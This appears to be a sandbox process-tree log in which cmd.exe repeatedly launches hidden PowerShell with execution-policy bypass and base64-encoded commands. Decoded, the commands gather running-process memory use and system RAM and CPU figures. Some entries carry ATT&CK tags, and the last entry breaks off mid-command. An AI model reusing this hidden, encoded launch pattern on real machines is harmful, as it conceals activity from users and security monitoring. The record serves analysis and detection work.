- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:1260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:4656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:2320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:5048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:5160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:1688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:1760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:5576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:6100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:3324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand 